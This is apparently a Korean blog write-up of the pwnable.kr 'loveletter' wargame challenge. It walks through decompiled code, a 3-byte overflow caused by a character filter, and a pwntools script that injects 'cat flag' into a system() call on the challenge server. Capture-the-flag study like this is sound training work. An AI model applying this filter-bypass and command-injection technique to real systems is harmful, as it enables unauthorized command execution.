unsigned int __cdecl protect(const char *a1)
{
size_t v1; // ebx
size_t v2; // eax
size_t i; // [esp+1Ch] [ebp-12Ch]
size_t j; // [esp+20h] [ebp-128h]
char v6[279]; // [esp+25h] [ebp-123h] BYREF
unsigned int v7; // [esp+13Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
strcpy(v6, "#&;`'\"|*?~<>^()[]{}$\\,");
for ( i = 0; i < strlen(a1); ++i )
{
for ( j = 0; j < strlen(v6); ++j )
{
if ( a1[i] == v6[j] )
{
strcpy(&v6[23], &a1[i + 1]);
*(_DWORD *)&a1[i] = 0xA599E2;
v1 = strlen(&v6[23]);
v2 = strlen(a1);
memcpy((void *)&a1[v2], &v6[23], v1);
}
}
}
return __readgsdword(0x14u) ^ v7;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+Fh] [ebp-115h]
char s[256]; // [esp+10h] [ebp-114h] BYREF
size_t v6; // [esp+110h] [ebp-14h]
size_t v7; // [esp+114h] [ebp-10h]
size_t v8; // [esp+118h] [ebp-Ch]
unsigned int v9; // [esp+11Ch] [ebp-8h]
v4 = HIBYTE(argv);
v9 = __readgsdword(0x14u);
memset(loveletter, 0, sizeof(loveletter));
v7 = strlen(epilog);
v6 = strlen(prolog);
printf(&format);
fgets(s, 256, stdin);
if ( s[strlen(s) - 1] == 10 ) // 마지막 개행문자 NULL문자로 바꿈
s[strlen(s) - 1] = 0;
puts(&::s); // ♥ Whatever happens, I'll protect her...
protect(s);
v8 = strlen(s);
puts(&byte_8048A50); // ♥ Impress her upon my memory...
memcpy((void *)((unsigned __int16)idx + 0x804A0A0), prolog, v6);// echo I love
idx += v6;
memcpy((void *)((unsigned __int16)idx + 0x804A0A0), s, v8);
idx += v8;
memcpy((void *)((unsigned __int16)idx + 0x804A0A0), epilog, v7);// very much!
idx += v7;
puts(&byte_8048A74); // ♥ Her name echos in my mind...
return system(loveletter); // loveletter: 0x804a0a0 -> echo I love "입력값" very much!
}
위 코드는 IDA로 파일을 분석한 코드입니다. 파일을 실행하면 fgets를 통해 s에 256 크기만큼 문자열을 입력받습니다. protect에서 입력값을 필터링하고 memcpy로 echo I love "입력값" very much! 라는 문자열을 생성하여 0x804a0a0에 저장하는데 gdb로 확인하면 해당 주소는 loveletter 변수입니다. 마지막으로 loveletter 문자열을 system함수의 인자로 넣습니다.
strcpy(v6, "#&;`'\"|*?~<>^()[]{}$\\,");
for ( i = 0; i < strlen(a1); ++i )
{
for ( j = 0; j < strlen(v6); ++j )
{
if ( a1[i] == v6[j] )
{
strcpy(&v6[23], &a1[i + 1]);
*(_DWORD *)&a1[i] = 0xA599E2;
v1 = strlen(&v6[23]);
v2 = strlen(a1);
memcpy((void *)&a1[v2], &v6[23], v1);
}
}
}
위 코드는 protect 함수의 일부입니다. a1은 입력값이고 v6에는 특수문자가 저장됩니다. 만약 입력값에 지정된 특수문자가 포함되면 입력값의 특수문자가 저장된 위치에 _DWORD 형으로 0xA599E2라는 값을 저장합니다. 이때 _DWORD는 int형 또는 unsigned int형으로 4바이트 단위입니다. 따라서 입력값의 마지막에 특수문자가 지정되는 경우 256바이트를 넘어서 3바이트가 오버플로우가 일어난다.
gdb로 입력값이 저장되는 주소를 확인하면 0xffffd410에 저장된다. 현재 256바이트에 추가적으로 3바이트를 덮어씌울 수 있으므로 256바이트를 더한값 0xffffd510을 살펴보면 3바이트 범위내에 c라는 값이 존재한다. c와 b가 나란히 존재하는데 c는 "echo I love "의 길이 12를 나타내고 b는 "very much! "의 길이 11을 나타냄을 추측할 수 있다. c와 b는 각각 memcpy에서 얼마만큼의 문자열을 복사할지 나타내는 v6, v7이다.
memcpy((void *)((unsigned __int16)idx + 0x804A0A0), prolog, v6);// echo I love
idx += v6;
memcpy((void *)((unsigned __int16)idx + 0x804A0A0), s, v8);
idx += v8;
memcpy((void *)((unsigned __int16)idx + 0x804A0A0), epilog, v7);// very much!
idx += v7;
gdb로 천천히 분석해보면 0xffffd510에 있는 c의 존래르 파악할 수 있습니다. memcpy가 끝난 뒤 [esp+0x110]이 가르키는 값을 eax에 저장하는데 esp+0x110을 확인하면 0xffffd510임을 알 수 있고 즉 idx에 0xffff510이 가르키는 0xc 값이 저장되고 두번째 memcpy에서 idx+0x804A0A0에 s를 복사합니다. 0x840A0A0은 loveletter의 시작주소이므로 [0xc + loveletter의 시작주소]에 입력값이 저장됩니다.
0xffffd510의 c는 오버플로우를 이용하면 다른 값으로 덮어씌울 수 있습니다. 만약 특수문자를 입력하면 그 자리에 0xA599E2 값이 저장되는데 4바이트 단위이므로 0x00A599E2가 저장되므로 만약 254번째에 특수문자를 입력하면 아래와 같이 값이 메모리에 저장됩니다.
254 255 256 257
| E2 | 99 | A5 | 00 |
from pwn import*
context.log_level='debug'
p = remote("pwnable.krl",9034)
payload = "cat flag " # 크기 9
payload += "a"*244 # 크기 9 + 244 = 253
payload += "?" # 254번째
p.sendline(payload)
p.interactive()
'시스템 해킹 > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] otp (0) | 2021.08.21 |
---|---|
[Pwnable.kr] brain fuck (0) | 2021.08.21 |
[Pwnable.kr] dragon (0) | 2021.08.13 |
[Pwnable.kr] echo1 (0) | 2021.08.08 |
[Pwnable.kr] fsb (0) | 2021.08.07 |
댓글